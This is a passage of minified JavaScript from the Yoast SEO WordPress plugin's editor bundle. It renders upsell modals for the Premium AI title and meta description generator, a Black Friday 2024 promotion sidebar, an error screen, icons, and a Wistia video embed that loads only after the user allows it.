t={};s.r(t),s.d(t,{addEventHandler:()=>Pt,disableMarkerButtons:()=>Tt,enableMarkerButtons:()=>At,getContentTinyMce:()=>Ct,isTextViewActive:()=>Lt,isTinyMCEAvailable:()=>Rt,isTinyMCELoaded:()=>St,pauseMarkers:()=>Ot,resumeMarkers:()=>It,setStore:()=>Et,termsTmceId:()=>xt,tinyMceEventBinder:()=>Nt,tmceId:()=>vt,wpTextViewOnInitCheck:()=>Mt});var n={};s.r(n),s.d(n,{createSEOScoreLabel:()=>qt,createScoresInPublishBox:()=>zt,initialize:()=>Vt,scrollToCollapsible:()=>Yt,updateScore:()=>jt});const r=window.wp.domReady;var i=s.n(r);const o=window.jQuery;var a=s.n(o);const l=window.lodash,c=window.React,p=window.wp.components,d=window.wp.data,u=window.wp.element,h=window.wp.hooks,g=window.wp.i18n,m=window.yoast.uiLibrary,y=window.yoast.propTypes;var f=s.n(y);f().string.isRequired;const w=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),b=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),k=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:n,isProductCopy:r,title:i,upsellLabel:o,newToText:a,bundleNote:l})=>{const{onClose:p,initialFocus:d}=(0,m.useModalContext)(),h={a:(0,c.createElement)($,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(b,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(ue,{videoId:"vmrahpfjxp",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(m.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),a))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},i),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},r?(0,u.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,g.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h):(0,u.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,g.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,c.createElement)(m.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:d},(0,c.createElement)(w,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),o,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")))),l,(0,c.createElement)(m.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:p},(0,g.__)("Close","wordpress-seo"))))};k.propTypes={learnMoreLink:f().string.isRequired,upsellLink:f().string.isRequired,thumbnail:f().shape({src:f().string.isRequired,width:f().string,height:f().string}).isRequired,wistiaEmbedPermission:f().shape({value:f().bool.isRequired,status:f().string.isRequired,set:f().func.isRequired}).isRequired,title:f().string,upsellLabel:f().string,newToText:f().string,isProductCopy:f().bool,bundleNote:f().oneOfType([f().string,f().element])},k.defaultProps={title:(0,g.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const v=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:n,upsellLabel:r})=>{const{onClose:i,initialFocus:o}=(0,m.useModalContext)(),a={a:(0,c.createElement)($,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,c.createElement)(b,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,c.createElement)("br",null)};return(0,c.createElement)(c.Fragment,null,(0,c.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,c.createElement)("div",{className:"yst-relative yst-w-full"},(0,c.createElement)(ue,{videoId:"vun9z1dpfh",thumbnail:t,wistiaEmbedPermission:s}),(0,c.createElement)(m.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,g.__)("Beta","wordpress-seo-premium"))),(0,c.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,c.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,c.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,c.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,c.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,g.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,g.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,c.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,u.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,g.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),a))),(0,c.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,c.createElement)(m.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:o},(0,c.createElement)(w,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),r,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,c.createElement)(m.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:i},(0,g.__)("Close","wordpress-seo"))))};v.propTypes={learnMoreLink:f().string.isRequired,upsellLink:f().string.isRequired,thumbnail:f().shape({src:f().string.isRequired,width:f().string,height:f().string}).isRequired,wistiaEmbedPermission:f().shape({value:f().bool.isRequired,status:f().string.isRequired,set:f().func.isRequired}).isRequired,upsellLabel:f().string},v.defaultProps={upsellLabel:(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const x=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-flex yst-gap-2"},(0,c.createElement)(m.Button,{onClick:e},(0,g.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(m.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,g.__)("Contact support","wordpress-seo")));x.propTypes={handleRefreshClick:f().func.isRequired,supportLink:f().string.isRequired};const E=({handleRefreshClick:e,supportLink:t})=>(0,c.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,c.createElement)(m.Button,{className:"yst-order-last",onClick:e},(0,g.__)("Refresh this page","wordpress-seo")),(0,c.createElement)(m.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,g.__)("Contact support","wordpress-seo")));E.propTypes={handleRefreshClick:f().func.isRequired,supportLink:f().string.isRequired};const S=({error:e,children:t})=>(0,c.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,c.createElement)(m.Title,null,(0,g.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,c.createElement)("p",null,(0,g.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,c.createElement)(m.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,g.__)("Undefined error message.","wordpress-seo")),(0,c.createElement)("p",null,(0,g.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),t);S.propTypes={error:f().object.isRequired,children:f().node},S.VerticalButtons=E,S.HorizontalButtons=x;var R;function C(){return C=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},C.apply(this,arguments)}f().string,f().node.isRequired,f().node.isRequired,f().node,f().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const P=e=>c.createElement("svg",C({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),R||(R=c.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),T=window.ReactDOM;var A,O,I;(O=A||(A={})).Pop="POP",O.Push="PUSH",O.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(I||(I={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const L=["post","put","patch","delete"],M=(new Set(L),["get",...L]);new Set(M),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),c.Component,c.startTransition,new Promise((()=>{})),c.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var N,B,D,F;new Map,c.startTransition,T.flushSync,c.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(F=N||(N={})).UseScrollRestoration="useScrollRestoration",F.UseSubmit="useSubmit",F.UseSubmitFetcher="useSubmitFetcher",F.UseFetcher="useFetcher",F.useViewTransitionState="useViewTransitionState",(D=B||(B={})).UseFetcher="useFetcher",D.UseFetchers="useFetchers",D.UseScrollRestoration="useScrollRestoration",f().string.isRequired,f().string;const $=({href:e,children:t,...s})=>(0,c.createElement)(m.Link,{target:"_blank",rel:"noopener noreferrer",...s,href:e},t,(0,c.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")));$.propTypes={href:f().string.isRequired,children:f().node},$.defaultProps={children:null};const U=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var q,j,z;function Y(){return Y=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},Y.apply(this,arguments)}const V=e=>c.createElement("svg",Y({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),q||(q=c.createElement("defs",null,c.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),j||(j=c.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),z||(z=c.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),c.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function K(){return K=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},K.apply(this,arguments)}const W=e=>c.createElement("svg",K({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),c.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var H,Q,Z,G,J,X,ee,te,se;function ne(){return ne=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},ne.apply(this,arguments)}const re=e=>c.createElement("svg",ne({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),H||(H=c.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),Q||(Q=c.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),Z||(Z=c.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),G||(G=c.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),J||(J=c.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),X||(X=c.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),ee||(ee=c.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),te||(te=c.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),se||(se=c.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),ie=({link:e,linkProps:t,isPromotionActive:s})=>{let n=(0,u.useMemo)((()=>(0,g.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),r=(0,u.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,g.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})});const i=s("black-friday-2024-promotion");return i&&(n=(0,u.useMemo)((()=>(0,g.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),r=(0,u.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,g.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,c.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,c.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,c.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,c.createElement)(re,null)),i&&(0,c.createElement)("div",{className:"sidebar__sale_banner_container"},(0,c.createElement)("div",{className:"sidebar__sale_banner"},(0,c.createElement)("span",{className:"banner_text"},(0,g.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,c.createElement)(m.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},r),(0,c.createElement)("p",{className:"yst-mt-2"},n),(0,c.createElement)(m.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...t},(0,c.createElement)("span",null,i?(0,g.__)("Buy now","wordpress-seo"):r),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,c.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!i&&(0,c.createElement)(c.Fragment,null,(0,g.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,c.createElement)("br",null)),(0,g.__)("30-day money back guarantee.","wordpress-seo")),(0,c.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,c.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,c.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,g.__)("Read reviews from real users","wordpress-seo")),(0,c.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,c.createElement)(P,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)("span",{className:"yst-flex yst-gap-1"},(0,c.createElement)(W,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(W,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(W,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(W,{className:"yst-w-5 yst-h-5"}),(0,c.createElement)(V,{className:"yst-w-5 yst-h-5"})),(0,c.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};ie.propTypes={link:f().string.isRequired,linkProps:f().object,isPromotionActive:f().func},ie.defaultProps={linkProps:{},isPromotionActive:l.noop};const oe=({premiumLink:e,premiumUpsellConfig:t,isPromotionActive:s})=>{const n=s("black-friday-2024-promotion");return(0,c.createElement)(m.Paper,{as:"div",className:"xl:yst-max-w-3xl"},n&&(0,c.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,c.createElement)("div",null,(0,g.__)("30% OFF","wordpress-seo")),(0,c.createElement)("div",null,(0,g.__)("BLACK FRIDAY","wordpress-seo"))),(0,c.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,c.createElement)(m.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,g.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,g.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,c.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,g.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,g.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((e,t)=>(0,c.createElement)("li",{key:`upsell-benefit-${t}`},(0,u.createInterpolateElement)(e,{strong:(0,c.createElement)("span",{className:"yst-font-semibold"})}))))),(0,c.createElement)(m.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...t},n?(0,g.__)("Claim your 30% off now!","wordpress-seo"):(0,g.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,g.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,c.createElement)(U,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};oe.propTypes={premiumLink:f().string.isRequired,premiumUpsellConfig:f().object,isPromotionActive:f().func},oe.defaultProps={premiumUpsellConfig:{},isPromotionActive:l.noop},f().string.isRequired,f().object.isRequired,f().string.isRequired,f().func.isRequired,c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),f().bool.isRequired,f().func,f().func,f().string.isRequired,f().string.isRequired,f().string.isRequired,f().string.isRequired;const ae=window.yoast.reactHelmet,le="loading",ce="showPlay",pe="askPermission",de="isPlaying",ue=({videoId:e,thumbnail:t,wistiaEmbedPermission:s})=>{const[n,r]=(0,u.useState)(s.value?de:ce),i=(0,u.useCallback)((()=>r(de)),[r]),o=(0,u.useCallback)((()=>{s.value?i():r(pe)}),[s.value,i,r]),a=(0,u.useCallback)((()=>r(ce)),[r]),l=(0,u.useCallback)((()=>{s.set(!0),i()}),[s.set,i]);return(0,c.createElement)(c.Fragment,null,s.value&&(0,c.createElement)(ae.Helmet,null,(0,c.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,c.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},n===ce&&(0,c.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:o},(0,c.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...t})),n===pe&&(0,c.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,c.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},s.status===le&&(0,c.createElement)(m.Spinner,null),s.status!==le&&(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,g.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,c.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,c.createElement)(m.Button,{type:"button",variant:"secondary",onClick:a,disabled:s.status===le},(0,g.__)("Deny","wordpress-seo")),(0,c.createElement)(m.Button,{type:"button",variant:"primary",onClick:l,disabled:s.status===le},(0,g.__)("Allow","wordpress-seo")))),s.value&&n===de&&(0,c.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,c.createElement)(m.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,c.createElement)("div",{className:`wistia_embed wistia_async_${e} videoFoam=true`}))))};ue.propTypes={videoId:f().string.isRequired,thumbnail:f().shape({src:f().string.isRequired,width:f().string,height:f().string}).isRequired,wistiaEmbedPermission:f().shape({value:f().bool.isRequired,status:f().string.isRequired,set:f().func.isRequired}).isRequired};const he="yoast-seo/editor",ge=()=>{const e=(0,d.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-learn-more")),[]),t=(0,d.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell")),[]),s=(0,d.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo-premium-bundle")),[]),n=(0,d.useSelect)((e=>e(he).selectLink("https://yoa.st/ai-generator-upsell-woo-seo")),[]),r=(0,d.useSelect)((e=>e(he).getIsPremium()),[]),i=(0,d.useSelect)((e=>e(he).getIsWooSeoActive()),[]),o=(0,d.useSelect)((e=>e(he).getIsWooCommerceActive()),[]),a=(0,d.useSelect)((e=>e(he).getIsProduct()),[]),l=(0,d.useSelect)((e=>e(he).getIsProductTerm()),[]),p={upsellLink:t};if(o&&a&&(p.title=(0,g.__)("Generate product titles & descriptions with AI!","wordpress-seo"),p.isProductCopy=!0),o&&(a||l)){const e=(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium, %2$s expands to Yoast WooCommerce SEO. */
(0,g.__)("%1$s + %2$s","wordpress-seo"),"Yoast SEO Premium","Yoast WooCommerce SEO");p.newToText=(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium and Yoast WooCommerce SEO. */
(0,g.__)("New in %1$s","wordpress-seo"),e),r?(p.upsellLabel=(0,g.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast WooCommerce SEO"),p.upsellLink=n):i||(p.upsellLabel=`${(0,g.sprintf)(/* translators: %1$s expands to Woo Premium bundle. */
